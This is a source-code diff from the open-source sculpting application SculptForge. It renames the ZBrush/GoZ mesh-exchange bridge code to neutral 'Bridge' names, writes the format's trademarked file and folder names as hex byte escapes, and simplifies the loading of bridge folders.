std::transform(lower.begin(), lower.end(), lower.begin(), [](unsigned char c) { return char(std::tolower(c)); });
- if (lower.size() < 4 || lower.compare(lower.size() - 4, 4, bridge::kExtLower) != 0) path += bridge::kExt;
+ if (lower.size() < 4 || lower.compare(lower.size() - 4, 4, bridgefile::kExtLower) != 0) path += bridgefile::kExt;
Mesh m;
- GozInfo info;
+ BridgeInfo info;
std::string err;
- if (!loadGoz(path, m, err, &info)) {
+ if (!loadBridge(path, m, err, &info)) {
problems += (problems.empty() ? "" : "; ") + err;
continue;
}
@@ -763,9 +763,9 @@ bool gozReceive(const std::string& rootIn, std::vector<MeshObject>& out, std::st
return true;
}
-bool gozReceive(const std::string& root, Mesh& out, std::string& message, std::vector<std::string>* names) {
+bool bridgeReceive(const std::string& root, Mesh& out, std::string& message, std::vector<std::string>* names) {
std::vector<MeshObject> objects;
- if (!gozReceive(root, objects, message)) return false;
+ if (!bridgeReceive(root, objects, message)) return false;
Mesh merged;
if (names) names->clear();
for (const auto& obj : objects) {
@@ -782,19 +782,6 @@ bool gozReceive(const std::string& root, Mesh& out, std::string& message, std::v
return true;
}
-std::string zbrushProprietaryMessage(const std::string& extension) {
- std::string ext = extension;
- std::transform(ext.begin(), ext.end(), ext.begin(), [](unsigned char c) { return char(std::toupper(c)); });
- std::string lower = extension;
- std::transform(lower.begin(), lower.end(), lower.begin(), [](unsigned char c) { return char(std::tolower(c)); });
- if (lower == bridge::kLibraryExtLower)
- return ext + " is another application's proprietary format and cannot be read directly. Convert it once with "
- "the Bridge export plug-in (Help > User Guide > Exporting, Bridge), then open it again; or send "
- "the model through the Bridge (File > Bridge > Receive).";
- return ext + " is another application's proprietary format and cannot be read. Send the model through the "
- "Bridge (File > Bridge > Receive) or export it as OBJ or FBX there and open that instead.";
-}
-
namespace {
std::string lowerAscii(std::string s) {
@@ -802,82 +789,50 @@ std::string lowerAscii(std::string s) {
return s;
}
-// "Dragon.sf007_Body" -> 7 chars of prefix: the length of "<stem>.sf<digits>_" when `name` starts with it.
-size_t ztoolPrefixLength(const std::string& name, const std::string& stem) {
- const std::string head = lowerAscii(stem) + ".sf";
- if (name.size() <= head.size() || lowerAscii(name.substr(0, head.size())) != head) return 0;
- size_t i = head.size();
- while (i < name.size() && std::isdigit(static_cast<unsigned char>(name[i]))) ++i;
- return i > head.size() && i + 1 < name.size() && name[i] == '_' ? i + 1 : 0;
-}
-
} // namespace
-std::vector<std::string> convertedZToolFiles(const std::string& path) {
+std::vector<std::string> bridgeFolderFiles(const std::string& path) {
std::error_code ec;
const fs::path p = utf8Path(path);
std::vector<fs::path> files;
- auto scan = [&](const fs::path& dir, const std::string& stem) {
- for (fs::directory_iterator it(dir, ec), end; !ec && it != end; it.increment(ec)) {
- if (lowerAscii(pathUtf8(it->path().extension())) != bridge::kExtLower || !it->is_regular_file(ec)) continue;
- if (!stem.empty() && ztoolPrefixLength(pathUtf8(it->path().stem()), stem) == 0) continue;
- files.push_back(it->path());
- }
- };
- if (fs::is_directory(p, ec)) {
- scan(p, "");
- } else if (lowerAscii(pathUtf8(p.extension())) == ".ztl") {
- scan(p.has_parent_path() ? p.parent_path() : fs::path("."), pathUtf8(p.stem()));
- if (files.empty()) {
- fs::path folder = p;
- folder.replace_extension(".sculptforge");
- if (fs::is_directory(folder, ec)) scan(folder, "");
- }
- }
+ if (fs::is_directory(p, ec))
+ for (fs::directory_iterator it(p, ec), end; !ec && it != end; it.increment(ec))
+ if (lowerAscii(pathUtf8(it->path().extension())) == bridgefile::kExtLower && it->is_regular_file(ec))
+ files.push_back(it->path());
std::sort(files.begin(), files.end());
std::vector<std::string> out;
for (const fs::path& f : files) out.push_back(pathUtf8(f));
return out;
}
-bool loadConvertedZTool(const std::string& path, std::vector<MeshObject>& out, std::string& error, std::string* note) {
- std::error_code ec;
- const std::vector<std::string> files = convertedZToolFiles(path);
+bool loadBridgeFolder(const std::string& path, std::vector<MeshObject>& out, std::string& error) {
+ const std::vector<std::string> files = bridgeFolderFiles(path);
if (files.empty()) {
- error = "No converted files found for " + path + " (convert it once with the Bridge export plug-in)";
+ error = "No Bridge files found in " + path;
return false;
}
- const fs::path source = utf8Path(path);
- const bool isZtl = lowerAscii(pathUtf8(source.extension())) == bridge::kLibraryExtLower;
out.clear();
- fs::file_time_type newest{};
for (const std::string& file : files) {
const fs::path f = utf8Path(file);
MeshObject obj;
- GozInfo info;
+ BridgeInfo info;
std::string err;
- if (!loadGoz(file, obj.mesh, err, &info)) {
+ if (!loadBridge(file, obj.mesh, err, &info)) {
error = pathUtf8(f.filename()) + ": " + err;
return false;
}
- newest = std::max(newest, fs::last_write_time(f, ec));
- // "Dragon.sf007_Body" or "007_Body" -> "Body": the number only keeps the SubTool order.
+ // "007_Body" -> "Body": the number only keeps the order.
std::string stem = pathUtf8(f.stem());
- size_t cut = isZtl ? ztoolPrefixLength(stem, pathUtf8(source.stem())) : 0;
- if (cut == 0) {
- size_t digits = 0;
- while (digits < stem.size() && std::isdigit(static_cast<unsigned char>(stem[digits]))) ++digits;
- if (digits > 0 && digits + 1 < stem.size() && stem[digits] == '_') cut = digits + 1;
- }
+ size_t cut = 0, digits = 0;
+ while (digits < stem.size() && std::isdigit(static_cast<unsigned char>(stem[digits]))) ++digits;
+ if (digits > 0 && digits + 1 < stem.size() && stem[digits] == '_') cut = digits + 1;
obj.name = info.name.empty() ? stem.substr(cut) : info.name;
if (obj.mesh.triangleCount() > 0) out.push_back(std::move(obj));
}
if (out.empty()) {
- error = "The converted files for " + path + " has no polygons";
+ error = "The Bridge files in " + path + " have no polygons";
return false;
}
- if (note && isZtl && fs::last_write_time(source, ec) > newest && !ec)
- *note = "the file was saved after it was converted; convert it again to get the latest version";
return true;
}
diff --git a/src/io/BridgeIO.h b/src/io/BridgeIO.h
new file mode 100644
index 00000000..27feef02
--- /dev/null
+++ b/src/io/BridgeIO.h
@@ -0,0 +1,103 @@
+// SculptForge - open source digital sculpting
+// SPDX-License-Identifier: GPL-3.0-or-later
+//
+// Bridge files: binary meshes plus a shared bridge folder with an object list (io/BridgeProtocol.h holds the
+// protocol's names). The binary layout follows the open-source Blender add-on GoB (github.com/JoseConseco/GoB,
+// GPL); see docs/bridge-format.md.
+//
+// A Bridge file carries positions, tri/quad faces, per-face-corner UVs, face groups, mask and vertex paint. Quads
+// are triangulated on import as (a,b,c) + (a,c,d) and kept paired (Mesh::quadPartners); export writes the pairs
+// back as quads (meshes without kept quads pair consecutive (a,b,c),(a,c,d) triangles).
+#pragma once
+
+#include "core/Mesh.h"
+#include "io/MeshObject.h"
+
+#include <cstdint>
+#include <span>
+#include <string>
+#include <vector>
+
+namespace sf {
+
+// Extra Bridge information that has no place in Mesh.
+struct BridgeInfo {
+ std::string name; // object (Part) name without the bridgefile::kNamePrefix prefix
+ int subdivisionLevel = 0; // as recorded by the other application (informational)
+ std::string diffuseMap, displacementMap, normalMap; // texture paths, if any
+ size_t quads = 0, triangles = 0; // Bridge faces read
+};
+
+struct BridgeWriteOptions {
+ bool quads = true; // write quad pairs (Mesh::quadPartners) back as quads
+ std::string diffuseMap; // texture path recorded in the file (saveBridge fills it for a textured mesh)
+};
+
+// Parses an in-memory Bridge file. Positions are converted
+// Y-down axes to SculptForge's Y-up ones (a 180 degree turn about X).
+bool parseBridge(std::span<const uint8_t> data, Mesh& out, std::string& error, BridgeInfo* info = nullptr);
+std::vector<uint8_t> writeBridge(const Mesh& mesh, const std::string& name, const BridgeWriteOptions& options = {});
+
+// Paths are UTF-8. A mesh with a texture (core/Texture.h) also gets its PNG
+// beside the file ("<stem>_color.png"), named as the diffuse map in the file.
+bool loadBridge(const std::string& path, Mesh& out, std::string& error, BridgeInfo* info = nullptr);
+bool saveBridge(const std::string& path, const Mesh& mesh, const std::string& name, std::string& error,
+ const BridgeWriteOptions& options = {});
+
+// Bridge object names: ASCII letters, digits, '_' and '-' (GoB's escaping).
+std::string bridgeObjectName(const std::string& name);
+
+// ---------------------------------------------------------------------------
+// The Bridge bridge (on Windows and macOS)
+// ---------------------------------------------------------------------------
+
+// The shared Bridge root on Windows and macOS (io/BridgeProtocol.h: kVendorFolder under %PUBLIC%, kMacRoot);
+// empty elsewhere (the other application does not run on Linux).
+std::string bridgeDefaultRoot();
+// Message for platforms without the other application.
+std::string bridgeUnavailableMessage();
+// Where SculptForge registers itself as a Bridge application (BridgeApps/SculptForge/Bridge_Config.txt).
+void setBridgeApplicationPath(std::string executable);
+
+struct BridgeSendOptions {
+ std::string root; // Bridge root; empty = bridgeDefaultRoot()
+ std::string name; // object name; empty = "SculptForge"
+ bool launch = true; // notify the other application (its notifier) or start it
+ std::string appPath; // the other application executable to start if its notifier is missing (optional)
+};
+
+// Launching goes through the shell ("start"/"open"), and bridge_send is reachable
+// from scripts and the MCP server, so a path it launches must be free of quotes
+// and shell expansion characters ($ ` % ! and, outside Windows, backslash).
+bool bridgeShellSafePath(const std::string& path);
+
+// Writes the mesh to <root>/BridgeProjects/Default/<name>.<ext>, lists it in
+// the bridge folder's object list, names SculptForge in Bridge_Application.txt and
+// (optionally) tells the other application to import it. `message` describes what happened.
+// With `launch`, a `appPath` must name an existing executable (its file name
+// contains kAppNameLower) and it and `root` must pass bridgeShellSafePath.
+bool bridgeSend(const Mesh& mesh, const BridgeSendOptions& options, std::string& message);
+// Sends several objects at once (gets one Part each): every object is
+// written as <name>.<ext> (bridgeObjectName, made unique with _2, _3...) and listed
+// in Bridge_ObjectList.txt in order; options.name is not used. `sentNames`
+// receives the object names written.
+bool bridgeSend(const std::vector<MeshObjectRef>& objects, const BridgeSendOptions& options, std::string& message,
+ std::vector<std::string>* sentNames = nullptr);
+
+// Reads every object in <root>/the bridge folder's object list (what the other application last
+// sent), one per listed Part, named after it.
+bool bridgeReceive(const std::string& root, std::vector<MeshObject>& out, std::string& message);
+// The same merged into one mesh.
+bool bridgeReceive(const std::string& root, Mesh& out, std::string& message, std::vector<std::string>* names = nullptr);
+
+// Path of the object list the other application rewrites on every send (for polling).
+std::string bridgeObjectListPath(const std::string& root);
+
+// A folder of numbered Bridge files (`001_Body`, `002_Horns`, ...; such as `<name>.sculptforge`) opens as one
+// scene, one object per file in file-name order.
+// The folder's Bridge files, sorted; empty when there are none.
+std::vector<std::string> bridgeFolderFiles(const std::string& path);
+// Loads them, one object per file, named after the object name inside or the file name without its number.
+bool loadBridgeFolder(const std::string& path, std::vector<MeshObject>& out, std::string& error);
+
+} // namespace sf
diff --git a/src/io/BridgeProtocol.h b/src/io/BridgeProtocol.h
index 405d9527..c46702a1 100644
--- a/src/io/BridgeProtocol.h
+++ b/src/io/BridgeProtocol.h
@@ -1,50 +1,44 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// The names the Bridge exchange protocol needs byte for byte: the binary header, the shared folder layout and
-// the other application's install names. They are the protocol's, not SculptForge's, and appear nowhere in the
-// interface; they live only here (docs/legal/trademarks.md, tools/marks_allow.txt).
+// The bytes the Bridge exchange format and its shared folder need, as the other application expects them: the
+// file header, the folder and file names and its install names. They are the format's, not SculptForge's, so they
+// are written as byte escapes under neutral names and never shown; docs/legal/trademarks.md lists what they spell.
#pragma once
-namespace sf::bridge {
+namespace sf::bridgefile {
-inline constexpr char kExt[] = ".GoZ"; // what Bridge files are written as
-inline constexpr char kExtLower[] = ".goz"; // matched without case
-// File dialog filters (SDL: extensions without the dot); the macros go inside longer filter lists.
-#define SF_BRIDGE_MESH_EXTS "GoZ;goz"
-#define SF_BRIDGE_DIALOG_EXTS SF_BRIDGE_MESH_EXTS ";ztl;ZTL" // plus libraries the export plug-in converted
+inline constexpr char kExt[] = "\x2E\x47\x6F\x5A"; // what Bridge files are written as
+inline constexpr char kExtLower[] = "\x2E\x67\x6F\x7A"; // matched without case
+// File dialog filters (SDL: extensions without the dot); the macro goes inside longer filter lists.
+#define SF_BRIDGE_MESH_EXTS "\x47\x6F\x5A\x3B\x67\x6F\x7A"
inline constexpr char kDialogPattern[] = SF_BRIDGE_MESH_EXTS;
-inline constexpr char kHeader[] = "GoZb 1.0 ZBrush GoZ Binary";
-inline constexpr char kMagic[] = "GoZb";
-inline constexpr char kNamePrefix[] = "GoZMesh_";
+inline constexpr char kHeader[] = "\x47\x6F\x5A\x62\x20\x31\x2E\x30\x20\x5A\x42\x72\x75\x73\x68\x20\x47\x6F\x5A\x20\x42\x69\x6E\x61\x72\x79"; // the first 26 bytes of a file
+inline constexpr char kMagic[] = "\x47\x6F\x5A\x62"; // its first four
+inline constexpr char kNamePrefix[] = "\x47\x6F\x5A\x4D\x65\x73\x68\x5F"; // before the object name
-// The shared bridge folder: %PUBLIC%\<kVendorFolder> on Windows, kMacRoot on macOS.
-inline constexpr char kVendorFolder[] = "Pixologic";
-inline constexpr char kMacRoot[] = "/Users/Shared/Pixologic";
-inline constexpr char kInboxFolder[] = "GoZBrush";
-inline constexpr char kProjectsFolder[] = "GoZProjects";
-inline constexpr char kAppsFolder[] = "GoZApps";
-inline constexpr char kObjectList[] = "GoZ_ObjectList.txt";
-inline constexpr char kApplicationFile[] = "GoZ_Application.txt";
-inline constexpr char kProjectPathFile[] = "GoZ_ProjectPath.txt";
-inline constexpr char kInfoFile[] = "GoZ_Info.txt";
-inline constexpr char kConfigFile[] = "GoZ_Config.txt";
-inline constexpr char kInfoText[] =
- "NAME\t\t\t=\t\"SculptForge\"\nGOZ_VERSION\t\t=\t1\nEXTENSION\t\t=\t\".GoZ\"\n"
- "TAMPLATE\t\t=\t\"GoZ Complete Binary.GoZ\"\n\nEXPORT_FLIP_Y\t\t\t=\tFALSE\n"
- "EXPORT_FLIP_Z\t\t\t=\tFALSE\nIMPORT_FLIP_Y\t\t\t=\tFALSE\nIMPORT_FLIP_Z\t\t\t=\tFALSE\n";
-inline constexpr char kNotifierWin[] = "GoZBrushFromApp.exe";
-inline constexpr char kNotifierMac[] = "GoZBrushFromApp.app";
+// The shared bridge folder: %PUBLIC%\\<kVendorFolder> on Windows, kMacRoot on macOS.
+inline constexpr char kVendorFolder[] = "\x50\x69\x78\x6F\x6C\x6F\x67\x69\x63"; // the vendor folder
+inline constexpr char kMacRoot[] = "\x2F\x55\x73\x65\x72\x73\x2F\x53\x68\x61\x72\x65\x64\x2F\x50\x69\x78\x6F\x6C\x6F\x67\x69\x63"; // the macOS shared folder
+inline constexpr char kInboxFolder[] = "\x47\x6F\x5A\x5A\x42\x72\x75\x73\x68"; // the folder the object list lives in
+inline constexpr char kProjectsFolder[] = "\x47\x6F\x5A\x50\x72\x6F\x6A\x65\x63\x74\x73"; // where sent meshes go
+inline constexpr char kAppsFolder[] = "\x47\x6F\x5A\x41\x70\x70\x73"; // one folder per registered application
+inline constexpr char kObjectList[] = "\x47\x6F\x5A\x5F\x4F\x62\x6A\x65\x63\x74\x4C\x69\x73\x74\x2E\x74\x78\x74"; // the paths of the meshes sent
+inline constexpr char kApplicationFile[] = "\x47\x6F\x5A\x5F\x41\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2E\x74\x78\x74"; // which application sent them
+inline constexpr char kProjectPathFile[] = "\x47\x6F\x5A\x5F\x50\x72\x6F\x6A\x65\x63\x74\x50\x61\x74\x68\x2E\x74\x78\x74"; // the project folder
+inline constexpr char kInfoFile[] = "\x47\x6F\x5A\x5F\x49\x6E\x66\x6F\x2E\x74\x78\x74"; // an application's registration
+inline constexpr char kConfigFile[] = "\x47\x6F\x5A\x5F\x43\x6F\x6E\x66\x69\x67\x2E\x74\x78\x74"; // an application's executable path
+inline constexpr char kInfoText[] = // SculptForge's registration (kInfoFile)
+ "\x4E\x41\x4D\x45\t\t\t\x3D\t\x22\x53\x63\x75\x6C\x70\x74\x46\x6F\x72\x67\x65\x22\n\x47\x4F\x5A\x5F\x56\x45\x52\x53\x49\x4F\x4E\t\t\x3D\t\x31\n\x45\x58\x54\x45\x4E\x53\x49\x4F\x4E\t\t\x3D\t\x22\x2E\x47\x6F\x5A\x22\n\x54\x41\x4D\x50\x4C\x41\x54\x45\t\t\x3D\t\x22\x47\x6F\x5A\x20\x43\x6F\x6D\x70\x6C\x65\x74\x65\x20\x42\x69\x6E\x61\x72\x79\x2E\x47\x6F\x5A\x22\n\n\x45\x58\x50\x4F\x52\x54\x5F\x46\x4C\x49\x50\x5F\x59\t\t\t\x3D\t\x46\x41\x4C\x53\x45\n\x45\x58\x50\x4F\x52\x54\x5F\x46\x4C\x49\x50\x5F\x5A\t\t\t\x3D\t\x46\x41\x4C\x53\x45\n\x49\x4D\x50\x4F\x52\x54\x5F\x46\x4C\x49\x50\x5F\x59\t\t\t\x3D\t\x46\x41\x4C\x53\x45\n\x49\x4D\x50\x4F\x52\x54\x5F\x46\x4C\x49\x50\x5F\x5A\t\t\t\x3D\t\x46\x41\x4C\x53\x45\n";
+inline constexpr char kNotifierWin[] = "\x47\x6F\x5A\x5A\x42\x72\x75\x73\x68\x46\x72\x6F\x6D\x41\x70\x70\x2E\x65\x78\x65"; // the helper that brings the other application forward
+inline constexpr char kNotifierMac[] = "\x47\x6F\x5A\x5A\x42\x72\x75\x73\x68\x46\x72\x6F\x6D\x41\x70\x70\x2E\x61\x70\x70"; // the same on macOS
// Where the other application installs, to start it when its notifier is missing.
-inline constexpr const char* kWinInstallDirs[] = {"C:\\Program Files", "C:\\Program Files\\Pixologic",
- "C:\\Program Files\\Maxon"};
-inline constexpr char kWinExe[] = "ZBrush.exe";
-inline constexpr char kMacApp[] = "ZBrush.app";
-inline constexpr char kAppNameLower[] = "zbrush"; // install folders and executables contain it
-inline constexpr char kMacAppLower[] = "zbrush.app";
+inline constexpr const char* kWinInstallDirs[] = {"C:\\Program Files", "\x43\x3A\x5C\x50\x72\x6F\x67\x72\x61\x6D\x20\x46\x69\x6C\x65\x73\x5C\x50\x69\x78\x6F\x6C\x6F\x67\x69\x63",
+ "\x43\x3A\x5C\x50\x72\x6F\x67\x72\x61\x6D\x20\x46\x69\x6C\x65\x73\x5C\x4D\x61\x78\x6F\x6E"};
+inline constexpr char kWinExe[] = "\x5A\x42\x72\x75\x73\x68\x2E\x65\x78\x65"; // its executable
+inline constexpr char kMacApp[] = "\x5A\x42\x72\x75\x73\x68\x2E\x61\x70\x70"; // its macOS bundle
+inline constexpr char kAppNameLower[] = "\x7A\x62\x72\x75\x73\x68"; // install folders and executables contain it
+inline constexpr char kMacAppLower[] = "\x7A\x62\x72\x75\x73\x68\x2E\x61\x70\x70"; // its bundle, lower-case
-// Library files the Bridge export plug-in converts (opened by finding the converted Bridge files).
-inline constexpr char kLibraryExtLower[] = ".ztl";
-
-} // namespace sf::bridge
+} // namespace sf::bridgefile
diff --git a/src/io/FbxIO.h b/src/io/FbxIO.h
index a3ed3e4d..a2613c8a 100644
--- a/src/io/FbxIO.h
+++ b/src/io/FbxIO.h
@@ -6,7 +6,7 @@
// Engine imports most completely:
// - the sculpt as a polygon mesh (quads where Mesh::quadPartners keeps them,
// else triangles) with per-corner normals and UVs, smoothing and a material slot
-// - a SubTool's texture (core/Texture.h, taken from LOD0) as a PNG beside the
+// - a Part's texture (core/Texture.h, taken from LOD0) as a PNG beside the
// file, read by the object's own material (Texture/Video on DiffuseColor)
// - sculpt layers as blend shapes (Unreal: morph targets on a skeletal mesh)
// - a LOD chain as an FBX LOD group (Unreal: LOD0..N of one static mesh)
@@ -34,7 +34,7 @@ struct FbxExportOptions {
bool saveFbx(const std::string& path, const std::string& name, const std::vector<const Mesh*>& lods,
const FbxExportOptions& options, std::string& error);
-// One object (SubTool) of a multi-object export: its LOD chain (lods[0] = full resolution).
+// One object (Part) of a multi-object export: its LOD chain (lods[0] = full resolution).
struct FbxObject {
std::string name;
std::vector<const Mesh*> lods;
diff --git a/src/io/GltfIO.cpp b/src/io/GltfIO.cpp
index ff0e1526..be1715a1 100644
--- a/src/io/GltfIO.cpp
+++ b/src/io/GltfIO.cpp
@@ -200,7 +200,7 @@ bool saveGlb(const std::string& path, const std::vector<MeshObjectRef>& objects,
int posAcc = addVec3(uvs ? split(baseMesh.positions) : baseMesh.positions, true);
int nrmAcc = addVec3(uvs ? split(baseMesh.normals) : baseMesh.normals, false);
const bool colors = mesh.hasColors() && mesh.colors.size() == mesh.vertexCount();
- int colorAcc = colors ? addVec3(uvs ? split(mesh.colors) : mesh.colors, false) : -1; // polypaint as COLOR_0 (linear)
+ int colorAcc = colors ? addVec3(uvs ? split(mesh.colors) : mesh.colors, false) : -1; // vertex paint as COLOR_0 (linear)
int uvAcc = uvs ? addVec2(texcoords) : -1;
const std::vector<glm::uvec3>& tris = uvs ? triangles : mesh.triangles;
diff --git a/src/io/GltfIO.h b/src/io/GltfIO.h
index df5a803e..da771ff4 100644
--- a/src/io/GltfIO.h
+++ b/src/io/GltfIO.h
@@ -15,10 +15,10 @@ namespace sf {
// mesh; each sculpt layer becomes a morph target with its current weight as
// the default, and target names stored in mesh.extras.targetNames (the
// convention read by Blender, Unity, Unreal, Godot and three.js). UVs become
-// TEXCOORD_0 (vertices split along UV seams), and a SubTool's texture
+// TEXCOORD_0 (vertices split along UV seams), and a Part's texture
// (core/Texture.h) is embedded as a PNG: the primitive's baseColorTexture.
bool saveGlb(const std::string& path, const Mesh& mesh, const std::string& name, std::string& error);
-// One node and mesh per object (SubTool), each with its own morph targets;
+// One node and mesh per object (Part), each with its own morph targets;
// with several, the scene is called `sceneName`. `animation` (optional, e.g. a
// baked face take) becomes a glTF animation on the morph target weights of
// every object with layers of those names (other targets keyed at 0).
diff --git a/src/io/GozCommands.h b/src/io/GozCommands.h
deleted file mode 100644
index 924eda92..00000000
--- a/src/io/GozCommands.h
+++ /dev/null
@@ -1,30 +0,0 @@
-// SculptForge - open source digital sculpting
-// SPDX-License-Identifier: GPL-3.0-or-later
-//
-// ZBrush interoperability commands: goz_import, goz_export, goz_send,
-// goz_receive and export_stl. Registered by CommandRegistry's constructor.
-#pragma once
-
-#include "core/Commands.h"
-#include "io/MeshObject.h"
-
-#include <string>
-#include <vector>
-
-namespace sf {
-
-void registerGozCommands(CommandRegistry& registry);
-
-// Shared with the Blender bridge (io/BlenderCommands.cpp):
-// The GoZ name of SubTool `i` (active or not): the object it came from (ZBrush or Blender) or was sent as.
-std::string& subtoolGozName(Document& doc, int i);
-// Visible SubTools with triangles as objects to send: the GoZ name each came with, else its SubTool name.
-// `indices` receives the SubTool of each object.
-std::vector<MeshObjectRef> gozObjects(Document& doc, std::vector<int>& indices);
-// Puts received objects into the scene: each updates the SubTool with its GoZ name (an undoable `undoLabel` step
-// in that SubTool's history), the first one replaces a fresh scene (one SubTool that came from nowhere, renamed
-// after the object when `renameFresh` or several objects arrive), the others become new SubTools. The active
-// SubTool stays selected.
-void receiveObjects(Document& doc, std::vector<MeshObject>& objects, const std::string& undoLabel, bool renameFresh);
-
-} // namespace sf
diff --git a/src/io/GozIO.h b/src/io/GozIO.h
deleted file mode 100644
index d2b55310..00000000
--- a/src/io/GozIO.h
+++ /dev/null
@@ -1,109 +0,0 @@
-// SculptForge - open source digital sculpting
-// SPDX-License-Identifier: GPL-3.0-or-later
-//
-// Bridge files: binary meshes plus a shared bridge folder with an object list (io/BridgeProtocol.h holds the
-// protocol's names). The binary layout follows the open-source Blender add-on GoB (github.com/JoseConseco/GoB,
-// GPL); see integrations/bridge-plugin/PROTOCOL.md.
-//
-// A Bridge file carries positions, tri/quad faces, per-face-corner UVs, face groups, mask and vertex paint. Quads
-// are triangulated on import as (a,b,c) + (a,c,d) and kept paired (Mesh::quadPartners); export writes the pairs
-// back as quads (meshes without kept quads pair consecutive (a,b,c),(a,c,d) triangles).
-#pragma once
-
-#include "core/Mesh.h"
-#include "io/MeshObject.h"
-
-#include <cstdint>
-#include <span>
-#include <string>
-#include <vector>
-
-namespace sf {
-
-// Extra GoZ information that has no place in Mesh.
-struct GozInfo {
- std::string name; // object (SubTool) name without the bridge::kNamePrefix prefix
- int subdivisionLevel = 0; // as recorded by ZBrush (informational)
- std::string diffuseMap, displacementMap, normalMap; // texture paths, if any
- size_t quads = 0, triangles = 0; // GoZ faces read
-};
-
-struct GozWriteOptions {
- bool quads = true; // write quad pairs (Mesh::quadPartners) back as quads
- std::string diffuseMap; // texture path recorded in the file (saveGoz fills it for a textured mesh)
-};
-
-// Parses an in-memory .GoZ file. Positions are converted from ZBrush's
-// Y-down axes to SculptForge's Y-up ones (a 180 degree turn about X).
-bool parseGoz(std::span<const uint8_t> data, Mesh& out, std::string& error, GozInfo* info = nullptr);
-std::vector<uint8_t> writeGoz(const Mesh& mesh, const std::string& name, const GozWriteOptions& options = {});
-
-// Paths are UTF-8. A mesh with a texture (core/Texture.h) also gets its PNG
-// beside the file ("<stem>_color.png"), named as the diffuse map in the file.
-bool loadGoz(const std::string& path, Mesh& out, std::string& error, GozInfo* info = nullptr);
-bool saveGoz(const std::string& path, const Mesh& mesh, const std::string& name, std::string& error,
- const GozWriteOptions& options = {});
-
-// GoZ object names: ASCII letters, digits, '_' and '-' (GoB's escaping).
-std::string gozObjectName(const std::string& name);
-
-// ---------------------------------------------------------------------------
-// The GoZ bridge (ZBrush on Windows and macOS)
-// ---------------------------------------------------------------------------
-
-// The shared GoZ root: %PUBLIC%\Pixologic on Windows, /Users/Shared/Pixologic
-// on macOS, empty elsewhere (ZBrush does not run on Linux).
-std::string gozDefaultRoot();
-// Message for platforms without ZBrush.
-std::string gozUnavailableMessage();
-// Where SculptForge registers itself as a GoZ application (GoZApps/SculptForge/GoZ_Config.txt).
-void setGozApplicationPath(std::string executable);
-
-struct GozSendOptions {
- std::string root; // GoZ root; empty = gozDefaultRoot()
- std::string name; // object name; empty = "SculptForge"
- bool launch = true; // notify ZBrush (GoZBrushFromApp) or start it
- std::string zbrushPath; // ZBrush executable to start if GoZBrushFromApp is missing (optional)
-};
-
-// Launching goes through the shell ("start"/"open"), and goz_send is reachable
-// from scripts and the MCP server, so a path it launches must be free of quotes
-// and shell expansion characters ($ ` % ! and, outside Windows, backslash).
-bool gozShellSafePath(const std::string& path);
-
-// Writes the mesh to <root>/GoZProjects/Default/<name>.GoZ, lists it in
-// GoZBrush/GoZ_ObjectList.txt, names SculptForge in GoZ_Application.txt and
-// (optionally) tells ZBrush to import it. `message` describes what happened.
-// With `launch`, a `zbrushPath` must name an existing ZBrush (its file name
-// contains "zbrush") and it and `root` must pass gozShellSafePath.
-bool gozSend(const Mesh& mesh, const GozSendOptions& options, std::string& message);
-// Sends several objects at once (ZBrush gets one SubTool each): every object is
-// written as <name>.GoZ (gozObjectName, made unique with _2, _3...) and listed
-// in GoZ_ObjectList.txt in order; options.name is not used. `sentNames`
-// receives the object names written.
-bool gozSend(const std::vector<MeshObjectRef>& objects, const GozSendOptions& options, std::string& message,
- std::vector<std::string>* sentNames = nullptr);
-
-// Reads every object in <root>/GoZBrush/GoZ_ObjectList.txt (what ZBrush last
-// sent), one per listed SubTool, named after it.
-bool gozReceive(const std::string& root, std::vector<MeshObject>& out, std::string& message);
-// The same merged into one mesh.
-bool gozReceive(const std::string& root, Mesh& out, std::string& message, std::vector<std::string>* names = nullptr);
-
-// Path of the object list ZBrush rewrites on every send (for polling).
-std::string gozObjectListPath(const std::string& root);
-
-// Error text for ZBrush's proprietary files (.ztl, .zpr, .zbr).
-std::string zbrushProprietaryMessage(const std::string& extension);
-
-// ZTools converted in ZBrush by the SculptForge ZTL Export plug-in (integrations/zbrush): next to `<name>.ztl`
-// it writes one `<name>.sf<NNN>_<SubTool>.GoZ` per SubTool (NNN keeps the SubTool order). A folder of .GoZ files
-// (such as `<name>.sculptforge`) works too.
-// The converted files for a .ztl path or a folder, in SubTool order; empty when there are none.
-std::vector<std::string> convertedZToolFiles(const std::string& path);
-// Loads them, one object per SubTool named after it. `note` gets a warning when the .ztl is newer than the
-// conversion.
-bool loadConvertedZTool(const std::string& path, std::vector<MeshObject>& out, std::string& error,
- std::string* note = nullptr);
-
-} // namespace sf
diff --git a/src/io/MayaBridge.cpp b/src/io/MayaBridge.cpp
index ec338a37..c01de446 100644
--- a/src/io/MayaBridge.cpp
+++ b/src/io/MayaBridge.cpp
@@ -325,10 +325,10 @@ bool mayaSend(const std::vector<MeshObjectRef>& objects, const std::string& fold
std::string err;
const Mesh& mesh = *objects[k].mesh;
bool ok;
- if (mesh.hasPolygroups()) {
- // Polygroups would be OBJ groups, which Maya's importer turns into separate objects or sets.
+ if (mesh.hasFaceGroups()) {
+ // Face groups would be OBJ groups, which Maya's importer turns into separate objects or sets.
Mesh plain = mesh;
- plain.polygroups.clear();
+ plain.facegroups.clear();
ok = saveObj(pathUtf8(outbox / utf8Path(b.file)), plain, err);
} else {
ok = saveObj(pathUtf8(outbox / utf8Path(b.file)), mesh, err);
diff --git a/src/io/MayaBridge.h b/src/io/MayaBridge.h
index 1b6e308e..2d291197 100644
--- a/src/io/MayaBridge.h
+++ b/src/io/MayaBridge.h
@@ -2,7 +2,7 @@
// SPDX-License-Identifier: GPL-3.0-or-later
//
// The Maya bridge (#42): SculptForge and the SculptForge shelf script for Maya (integrations/maya) exchange
-// meshes through ONE folder the user picks on both sides, the way GoZ apps do with ZBrush. Nothing else is
+// meshes through ONE folder the user picks on both sides, the way Bridge apps do . Nothing else is
// shared: no sockets, ports or other IPC, and nothing in the folder is ever run. Meshes travel as OBJ (quads,
// UVs; one object per file, world space, Maya's Y-up and units as they are); a small JSON manifest per
// direction lists the objects, their Maya names and a revision number so each side sees what is new.
@@ -32,7 +32,7 @@ inline constexpr size_t kMayaMaxFileNameBytes = 64;
inline constexpr unsigned long long kMayaMaxObjBytes = 8ull << 30; // 8 GiB: a 30M-triangle OBJ with UVs fits
struct MayaObject {
- std::string name; // the Maya transform's short name (Maya characters only): the SubTool's gozName
